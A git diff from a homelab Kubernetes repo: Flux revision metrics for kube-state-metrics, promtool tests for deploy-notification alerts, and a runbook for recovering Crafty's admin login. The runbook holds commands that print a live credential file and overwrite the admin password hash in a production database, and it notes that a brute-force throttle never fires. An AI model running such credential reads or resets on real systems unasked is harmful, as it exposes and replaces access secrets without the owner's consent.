+          - apiGroups: ["source.toolkit.fluxcd.io"]
+            resources: ["gitrepositories"]
+            verbs: ["get", "list", "watch"]
       customResourceState:
         enabled: true
         config:
@@ -328,6 +401,89 @@ spec:
                         labelsFromPath:
                           cron: [spec, schedule]
                           phase: [status, phase]
+              # --- FLUX APPLIED REVISION AS METRICS (added 2026-09-29) --------------------------
+              # WHY. Nothing in the TSDB could answer "is the cluster running the commit that is on
+              # main?", so "Flux started applying a git change" and "Flux is idle" were
+              # indistinguishable and a deploy could start, stall halfway and never finish with
+              # nothing to say so. Measured on prod 2026-09-29, all three candidate signals fail:
+              #   * gotk_* (scraped by flux-podmonitor.yaml) carries NO revision label anywhere —
+              #     gotk_reconcile_condition 120 series, gotk_suspend_status 40, not one with a
+              #     revision. It can say a Kustomization is unhealthy, never which commit it holds.
+              #   * the EVENT stream cannot be filtered into a deploy signal: a Kustomization emits
+              #     ReconciliationSucceeded on EVERY interval tick — 101 events in one hour across
+              #     16 Kustomizations — with the message "Reconciliation finished in 324ms, next run
+              #     in 10m0s", byte-identical whether the apply changed anything or not.
+              #   * `Progressing` is worse, not better: five Kustomizations re-apply the same object
+              #     on every single tick (2505/2504/2501/2495/2490 on one event object each), so
+              #     anything keyed on it fires five times every ten minutes, forever.
+              # The applied REVISION is the one signal that moves only when git moves, and it lives
+              # in these two objects' status and nowhere else:
+              #   GitRepository/flux-system  .status.artifact.revision   = what main is (poll 1m)
+              #   Kustomization/*            .status.lastAppliedRevision = what is applied
+              # Exporting both makes "applied != desired" a PromQL question, which is what
+              # FluxRolloutInProgress / FluxRolloutStuck ask (platform/monitoring/alerts.yaml).
+              #
+              # NAMING: kube_flux_*, NOT gotk_* — the same rule as kube_velero_schedule_* above.
+              # These are kube-state-metrics series ABOUT Kubernetes objects and must never be
+              # mistaken for the gotk_* family the Flux controllers themselves export.
+              #
+              # VERIFIED ON PROD before writing this (2026-09-29): both CRDs serve `v1` as the
+              # STORAGE version (kustomizations.kustomize.toolkit.fluxcd.io,
+              # gitrepositories.source.toolkit.fluxcd.io) and both status paths below are populated
+              # — artifact.revision=main@sha1:b93594b7…, and all 16 Kustomizations reporting that
+              # same revision as lastAppliedRevision.
+              #
+              # Cost: 2 series per Kustomization (16 today) + 1 for the GitRepository = 33.
+              - groupVersionKind:
+                  group: kustomize.toolkit.fluxcd.io
+                  version: v1
+                  kind: Kustomization
+                metricNamePrefix: kube_flux_kustomization
+                labelsFromPath:
+                  name: [metadata, name]
+                  namespace: [metadata, namespace]
+                metrics:
+                  - name: info
+                    help: "Revision a Flux Kustomization has applied (status.lastAppliedRevision)."
+                    each:
+                      type: Info
+                      info:
+                        # KSM OMITS a label whose path is absent (the same behaviour noted for the
+                        # Velero `phase` label above), so a Kustomization that has never applied
+                        # anything publishes this series with NO `revision` label at all rather than
+                        # an empty one. Every rule that reads it therefore matches revision!="" —
+                        # otherwise those would collapse together under the empty string and a
+                        # never-applied Kustomization would compare equal to a converged one.
+                        labelsFromPath:
+                          revision: [status, lastAppliedRevision]
+                  - name: suspended
+                    help: "1 if the Flux Kustomization is suspended (spec.suspend)."
+                    each:
+                      type: Gauge
+                      gauge:
+                        # nilIsZero is MANDATORY, exactly as for the Velero `paused` gauge above:
+                        # measured 2026-09-29, NONE of the 16 Kustomizations sets spec.suspend at
+                        # all. Without it this metric would not exist, and the `unless` that stops a
+                        # suspended Kustomization holding a rollout notification open forever would
+                        # silently match nothing.
+                        path: [spec, suspend]
+                        nilIsZero: true
+              - groupVersionKind:
+                  group: source.toolkit.fluxcd.io
+                  version: v1
+                  kind: GitRepository
+                metricNamePrefix: kube_flux_gitrepository
+                labelsFromPath:
+                  name: [metadata, name]
+                  namespace: [metadata, namespace]
+                metrics:
+                  - name: info
+                    help: "Revision of the artifact a Flux GitRepository has fetched (what main is)."
+                    each:
+                      type: Info
+                      info:
+                        labelsFromPath:
+                          revision: [status, artifact, revision]
       # MEMORY RAISED 2026-09-13 after 91 OOMKills. Measured, not guessed: working set 111 MiB
       # with a 6h peak of 123.3 MiB against the old 128Mi limit — KSM was dying on every spike,
       # roughly every 11 minutes (exit 137). That matters beyond the restarts: THIRTEEN alert

platform/monitoring/tests/flux-rollout.test.yaml

@@ -0,0 +1,268 @@
+# promtool rule-unit tests for FluxRolloutInProgress / FluxRolloutStuck — the deploy-notification
+# pair in the platform-health.flux group (platform/monitoring/alerts.yaml).
+# Run with: platform/monitoring/tests/run.sh   (the merge gate runs the same harness via
+#           conformance/tests/l0-static/alert-rules-unit-tested)
+#
+# WHY THESE TESTS CARRY MORE WEIGHT THAN USUAL. This pair is a NOTIFICATION, so both failure
+# directions are silent in production and neither is visible on a healthy cluster:
+#   * fire when it should not -> a permanently-firing "deploy in progress" that mails on every
+#     repeat_interval and trains the operator to ignore Flux mail. Shipped once already in this
+#     repo (CNPG, 2026-09-12).
+#   * fail to fire -> no deploy notification at all, which is the exact complaint this pair was
+#     written to answer. Indistinguishable from "no deploys happened".
+# So every clause is pinned in both directions here, and the two GUARDS in the expression (the
+# missing-exporter guard and the suspended-Kustomization exclusion) each get a test whose ONLY
+# job is to fail if that clause is deleted.
+#
+# MODELLING A REVISION CHANGE. `revision` is a LABEL, so a Kustomization moving from revision A to
+# revision B is modelled as series A ending and series B beginning — not as one series changing
+# value. Prometheus' 5m lookback then means series A is still resolvable for 5m after its last
+# sample, so every eval_time below is placed at least 5m clear of a handoff. That is deliberate:
+# it keeps these tests about the RULE and not about staleness semantics.
+#
+# Sample interval 1m; the longest `for` under test is 30m.
+rule_files:
+  - generated.rules.yaml
+
+evaluation_interval: 1m
+
+tests:
+  # =============================================================================================
+  # 1. CONVERGED — the steady state this cluster is in almost all of the time.
+  #    Both rules MUST be silent. This is the "not permanently firing" half of the proof, and it
+  #    is the test that fails if `unless on (revision)` is mis-spelled: the left-hand side is
+  #    non-empty here, and only the revision match suppresses it.
+  # =============================================================================================
+  - interval: 1m
+    name: converged (every Kustomization on the GitRepository revision) - silent
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+    alert_rule_test:
+      - eval_time: 35m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 35m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+
+  # =============================================================================================
+  # 2. A COMMIT LANDS — the notification this whole change exists to produce.
+  #    GitRepository moves to revision bbbbbbb at t=11m. apps-wave-0 catches up at t=14m;
+  #    `platform` never does.
+  #      t=25m -> FluxRolloutInProgress fires for `platform` ONLY (apps-wave-0 has converged),
+  #               and FluxRolloutStuck is still quiet because its 30m has not elapsed.
+  #      t=50m -> both fire. ("started and never finished" is a real, separate condition.)
+  # =============================================================================================
+  - interval: 1m
+    name: new revision on main - InProgress fires for the lagging Kustomization only
+    input_series:
+      # The old artifact revision ends at t=10m, the new one starts at t=11m.
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x10'
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '_x10 1x70'
+      # `platform` stays on the old revision for the whole test.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x80'
+      # apps-wave-0 catches up at t=14m.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x8'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:bbbbbbb",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '_x13 1x67'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x80'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x80'
+    alert_rule_test:
+      # The deploy notification, ~14m after the commit was fetched. Exactly ONE alert: a rule that
+      # ignored the revision match would also list apps-wave-0, which has already converged.
+      - eval_time: 25m
+        alertname: FluxRolloutInProgress
+        exp_alerts:
+          - exp_labels:
+              notification: deploy
+              job: kube-state-metrics
+              namespace: flux-system
+              name: platform
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux is applying a new revision — platform is behind main"
+              description: "Kustomization flux-system/platform has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+      # `for: 30m` on the escalation is real — not yet firing 14m in.
+      - eval_time: 25m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+      # ...and it does fire once the rollout has genuinely hung.
+      - eval_time: 50m
+        alertname: FluxRolloutStuck
+        exp_alerts:
+          - exp_labels:
+              severity: warning
+              job: kube-state-metrics
+              namespace: flux-system
+              name: platform
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux rollout has not completed: platform stuck on an old revision"
+              description: "Kustomization flux-system/platform has been behind the flux-system GitRepository revision for 30m (applied main@sha1:aaaaaaa) — a git change started rolling out and has not converged. Check the Kustomization's Ready condition and its dependencies."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+
+  # =============================================================================================
+  # 3. THE ROLLOUT COMPLETES -> the alert clears, which is what sends the "applied" mail.
+  #    Without this test the completion half of the feature is unproven: an expression that fired
+  #    correctly but never emptied itself would pass test 2 and still never deliver a resolved
+  #    notification.
+  # =============================================================================================
+  - interval: 1m
+    name: rollout completes - InProgress clears (this is the resolved/completion notification)
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x10'
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '_x10 1x70'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x20'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:bbbbbbb",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '_x23 1x57'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x80'
+    alert_rule_test:
+      # Mid-rollout: firing.
+      - eval_time: 20m
+        alertname: FluxRolloutInProgress
+        exp_alerts:
+          - exp_labels:
+              notification: deploy
+              job: kube-state-metrics
+              namespace: flux-system
+              name: platform
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux is applying a new revision — platform is behind main"
+              description: "Kustomization flux-system/platform has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+      # Converged (5m clear of the old series' last sample at t=20m): silent, and it never had
+      # 30m of continuous firing, so the escalation must not have fired either.
+      - eval_time: 32m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 32m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+
+  # =============================================================================================
+  # 4. GUARD 1 — kube_flux_gitrepository_info ABSENT (KSM rolled without the ConfigMap, the flux
+  #    RBAC was lost, customResourceState reverted). `unless on (revision) <empty set>` removes
+  #    NOTHING, so without the `and on () (count(...) > 0)` guard EVERY Kustomization alerts
+  #    forever. This test exists to go red the moment that guard is deleted.
+  #    Correct behaviour is SILENCE: a broken exporter is FluxReconciliationFailure's job and the
+  #    platform-health.monitoring-self rules', not a deploy notification's.
+  # =============================================================================================
+  - interval: 1m
+    name: GUARD - GitRepository metric absent - silent, NOT 16 alerts forever
+    input_series:
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x60'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x60'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x60'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x60'
+    promql_expr_test:
+      # Stated explicitly so the reason for the silence is unambiguous in the test output: the
+      # guard's own count is empty, not merely false.
+      - expr: 'count(kube_flux_gitrepository_info{name="flux-system", revision!=""})'
+        eval_time: 45m
+        exp_samples: []
+    alert_rule_test:
+      - eval_time: 45m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 45m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+
+  # =============================================================================================
+  # 5. GUARD 2 — a SUSPENDED Kustomization pins an old revision by design. It must not hold the
+  #    rollout notification open (or the "applied" mail never arrives), while a non-suspended
+  #    Kustomization on the same old revision MUST still alert.
+  #    Both halves are asserted in one test on purpose: an `unless` written with the wrong labels
+  #    would suppress EVERYTHING and would pass a suppression-only test.
+  # =============================================================================================
+  - interval: 1m
+    name: GUARD - suspended Kustomization excluded, non-suspended one still alerts
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x40'
+      # Suspended and behind -> excluded.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      # Not suspended and behind -> must alert.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="conformance",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="conformance",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+    alert_rule_test:
+      - eval_time: 20m
+        alertname: FluxRolloutInProgress
+        exp_alerts:
+          - exp_labels:
+              notification: deploy
+              job: kube-state-metrics
+              namespace: flux-system
+              name: conformance
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux is applying a new revision — conformance is behind main"
+              description: "Kustomization flux-system/conformance has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+
+  # =============================================================================================
+  # 6. A Kustomization that has NEVER applied anything publishes no `revision` label at all (KSM
+  #    omits absent paths). `revision!=""` must drop it rather than let it group under the empty
+  #    string and compare equal to the GitRepository revision.
+  # =============================================================================================
+  - interval: 1m
+    name: never-applied Kustomization (no revision label) is not counted as converged or lagging
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x40'
+      # No `revision` label at all — this is what KSM publishes for status.lastAppliedRevision="".
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="brand-new",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="brand-new",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+    alert_rule_test:
+      # Silent: FluxReconciliationFailure (Ready=False for 15m) is what covers a Kustomization
+      # that cannot apply at all. This pair only ever speaks about revisions it can compare.
+      - eval_time: 30m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 30m
+        alertname: FluxRolloutStuck
+        exp_alerts: []

runbooks/README.md

@@ -115,6 +115,20 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
   plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
   token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
   Includes why a changed Secret does not restart anything, and why an expired token is harmless.
+- **`oauth2-proxy-session`** — a gated UI loads but its saves quietly do nothing, and you are never
+  re-prompted to log in. Tells the three stacked auth layers apart from the sidecar's own access log
+  (the four lines that matter, including the upstream `-` that means the proxy answered a request the
+  app never saw). Covers the cookie collision between per-app sidecars sharing the default
+  `_oauth2_proxy` name on `.home.keithjackson.dev` — which deletes sessions belonging to apps in
+  *other* namespaces and is only legible with two logs side by side — the 5-minute access-token
+  session with no `--cookie-refresh`, and why an XHR answered with a 302 instead of a 401 loses a
+  POST body silently.
+- **`crafty-admin-credential`** — you signed into Keycloak and Crafty *still* asks for a password.
+  Expected: Crafty 4 has no OIDC, so its own local login sits behind the oauth2-proxy gate as a second
+  factor. The page tells the two layers apart from the sidecar log, and explains that the bootstrap
+  password exists **only** on the PVC (`default-creds.txt`, generated once on first boot, never in git).
+  Includes the argon2 reset for a lost password, why the 3-strikes lockout cannot fire behind the
+  sidecar, and why deleting `crafty.sqlite` to force a new password destroys every server definition.
 
 ### Virtualisation
 - **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.

runbooks/crafty-admin-credential.md

@@ -0,0 +1,179 @@
+# crafty-admin-credential — Crafty's own login rejects you after Keycloak sign-in
+
+**Not alert-driven.** This is an operator procedure, linked from
+[`platform/crafty/README.md`](../platform/crafty/README.md). It covers getting into the Crafty panel the
+first time, rotating that credential, and recovering when it is lost.
+
+> **Everything below prints or sets a LIVE credential.** Do not paste the output into a PR, an issue, a
+> chat, or an AI agent transcript. Read it, use it, rotate it. (Repo rule §6: secrets never enter a
+> transcript.)
+
+## What this means here
+
+`crafty.home.keithjackson.dev` sits behind **two** independent authentications, and only the first is
+Keycloak's:
+
+1. the **oauth2-proxy sidecar** in the Crafty pod — Keycloak `homelab` realm, group `platform-admins`;
+2. **Crafty's own local username/password login** — Crafty 4 has no OIDC and cannot consume the
+   sidecar's identity headers, so it shows its own login page to an already-authenticated user.
+
+So "I signed into Keycloak and I'm still not signed in" is the **expected** shape of this service, and
+the real question is only ever *which* of the two rejected you. They fail differently:
+
+| Where you are | What you see | Which layer |
+|---|---|---|
+| Bounced to Keycloak repeatedly, never reach Crafty | sidecar log: `No valid authentication in request` | oauth2-proxy |
+| Authenticated but `403` | not in `platform-admins` | oauth2-proxy |
+| **Crafty's own login page, credentials refused** | `POST /api/v2/auth/login/` → **401** | **Crafty local** |
+
+The third row is the one that blocks setup, because **nothing in the UI tells you where that password
+comes from**. Crafty generates it **once, on first boot only** — when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`) — and writes it to
+`/crafty/app/config/default-creds.txt` (mode `0600`) on the `config` subPath of the `crafty-data` PVC.
+It is **never in git** and **cannot be recovered from git**: a rebuild onto a fresh PVC generates a new
+random password, and the old one is gone with the old volume.
+
+Two things that are *not* the problem, both verified live:
+
+- **Repeated wrong guesses cannot lock you out.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For`) but *checks* the 3-strikes cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The halves key
+  differently, so `max_login_attempts: 3` never fires. (It also means that throttle is not a control
+  you have — the `platform-admins` gate is what limits who reaches the form at all.)
+- **Crafty's `set_passwd` console command is unreachable here.** It calls `getpass.getpass()` and needs
+  a TTY; the container runs `main.py -d -i` as a daemon. Recovery goes through the DB instead.
+
+## First commands
+
+`kubectl` does not exist on the workstation — the toolchain lives only in the pinned dev container, and
+`dev.sh` picks a current-context **per invocation**, so always name the context.
+
+**1. Is the pod healthy, and is the password still the generated one?**
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+kubectl --context k3s-prod -n crafty get pods -l app.kubernetes.io/name=crafty
+kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+for r in c.execute(\"SELECT username,created,last_update,last_login FROM users WHERE user_id=1\"):
+    print(\"created    :\",r[1]); print(\"last_update:\",r[2]); print(\"last_login :\",r[3])
+"'
+```
+
+Read `last_update` against `created`: **equal ⇒ the password has never been changed**, so
+`default-creds.txt` is still live. Different ⇒ someone rotated it and that file is stale — skip to
+*Reset*.
+
+**2. Read the bootstrap credential** (prints a live secret — see the warning at the top):
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/default-creds.txt'
+```
+
+The username is `admin`. Sign in at `https://crafty.home.keithjackson.dev` (Keycloak first, then this).
+
+**3. Rotate it immediately**, in the UI: user menu → your profile → change password. That is the only
+supported path that keeps Crafty's own bookkeeping consistent. Then confirm it took — re-run command 1
+and check `last_update` has moved away from `created`.
+
+## Likely causes, most likely first
+
+1. **You never had the password.** By far the most common, and the reason this runbook exists. The
+   credential was only ever on the PVC. → commands 1–3 above.
+2. **The password was rotated and not recorded.** `last_update` ≠ `created` while nobody knows the
+   value. `default-creds.txt` is now misleading, not authoritative. → *Reset* below.
+3. **The PVC was rebuilt.** A fresh volume means a fresh random password *and* an empty panel — no
+   servers, no worlds (`platform/crafty/README.md`, "the servers themselves are NOT in git"). Read
+   `default-creds.txt` from the new pod; do not expect the old credential to work.
+4. **You are actually stuck at the oauth2-proxy layer, not Crafty's.** Check which layer is talking
+   before touching any password:
+   ```bash
+   ./infra/devcontainer/dev.sh run bash -c \
+     'kubectl --context k3s-prod -n crafty logs deploy/crafty -c oauth2-proxy --tail=200 | grep -v kube-probe'
+   ```
+   `[AuthSuccess] ... groups:[platform-admins]` followed by a `200` on `/login` means oauth2-proxy did
+   its job and the 401 is Crafty's. Repeated `No valid authentication in request` with no `AuthSuccess`
+   means the session cookie is not surviving — see *cookie isolation* in
+   `platform/crafty/README.md`; this sidecar must keep its own `--cookie-name` distinct from the shared
+   proxy's, or the two evict each other.
+5. **`platform-admins` membership lapsed.** A `403` rather than a login page. Fix in Keycloak, not here.
+
+## Reset when the password is unknown
+
+Crafty stores an **argon2** hash in `users.password`. This writes a fresh random password, invalidates
+existing sessions, and drops the new value into a `0600` file **inside the pod** — deliberately
+mirroring Crafty's own `default-creds.txt` idiom so the secret never crosses argv, stdin or shell
+history. (`dev.sh` does **not** forward stdin — a `kubectl exec -i` here hangs forever, which is why the
+password is generated in-pod rather than passed in.)
+
+Two details that will otherwise cost you the afternoon: argon2 is installed **only** in Crafty's venv,
+so it must be `/crafty/.venv/bin/python`, not the system `python3`; and this is a **mutating operator
+action**, not an agent action.
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- /crafty/.venv/bin/python -c "
+import os, secrets, sqlite3, string, datetime
+from argon2 import PasswordHasher
+pw  = \"\".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(24))
+now = datetime.datetime.now()
+c   = sqlite3.connect(\"/crafty/app/config/db/crafty.sqlite\", timeout=30)
+cur = c.execute(
+    \"UPDATE users SET password=?, last_update=?, valid_tokens_from=? WHERE username=?\",
+    (PasswordHasher().hash(pw), str(now),
+     str(datetime.datetime.now(datetime.timezone.utc)), \"admin\"),
+)
+c.commit()
+print(\"rows updated:\", cur.rowcount)
+out = \"/crafty/app/config/reset-creds.txt\"
+open(out, \"w\").write(pw + chr(10))
+os.chmod(out, 0o600)
+print(\"new password written to\", out)
+"'
+```
+
+Expect `rows updated: 1`. Then read it, sign in, rotate in the UI, and delete the file:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/reset-creds.txt'
+# after signing in and rotating:
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- rm -f /crafty/app/config/reset-creds.txt'
+```
+
+`rows updated: 0` means the username is not `admin` — list the accounts (names only, never the
+`password` column) and retry against the right one:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+print([r[0] for r in c.execute(\"SELECT username FROM users\")])
+"'
+```
+
+`database is locked` means Crafty held the write lock; the `timeout=30` usually rides it out, otherwise
+retry. The panel picks the new hash up on the next login attempt — no restart needed, and a restart
+costs a Minecraft-server stop (`strategy: Recreate` on an RWO volume), so do not restart reflexively.
+
+## When to escalate or stop
+
+- **Stop** as soon as you can sign in, and **rotate immediately** — do not leave the generated
+  bootstrap password in place as the standing admin credential, and do not leave `reset-creds.txt` on
+  the PVC.
+- **Do not `kubectl edit`/`patch`/`apply`** the Deployment to work around a login problem. Flux
+  reconciles `main`; hand-applied changes are drift. Manifest changes go through a branch and a PR.
+- **Do not delete `crafty.sqlite`** to force a "fresh install" and a new generated password. It holds
+  every server definition — jar, ports, heap, `auto_start` — and losing it means recreating each server
+  by hand, re-accepting the Mojang EULA, and re-`PATCH`ing `auto_start`. The worlds under
+  `/crafty/servers/<uuid>/` are not in git and not recreatable. The reset above is always cheaper.
+- **Escalate to the Keycloak side** (`runbooks/keycloak-down.md`,
+  `runbooks/keycloak-client-secrets.md`) if there is no `AuthSuccess` in the sidecar log at all — that
+  is an IdP or client-secret problem and no Crafty password will help.
+- **If `default-creds.txt` is absent on a pod whose DB says the password was never changed**, stop and
+  hand off: that combination should not occur, and it suggests the `config` subPath is not the volume
+  you think it is. Record what you measured rather than guessing.

runbooks/flux-rollout.md

@@ -0,0 +1,118 @@
+# flux-rollout — a git change is rolling out, or has stopped halfway
+
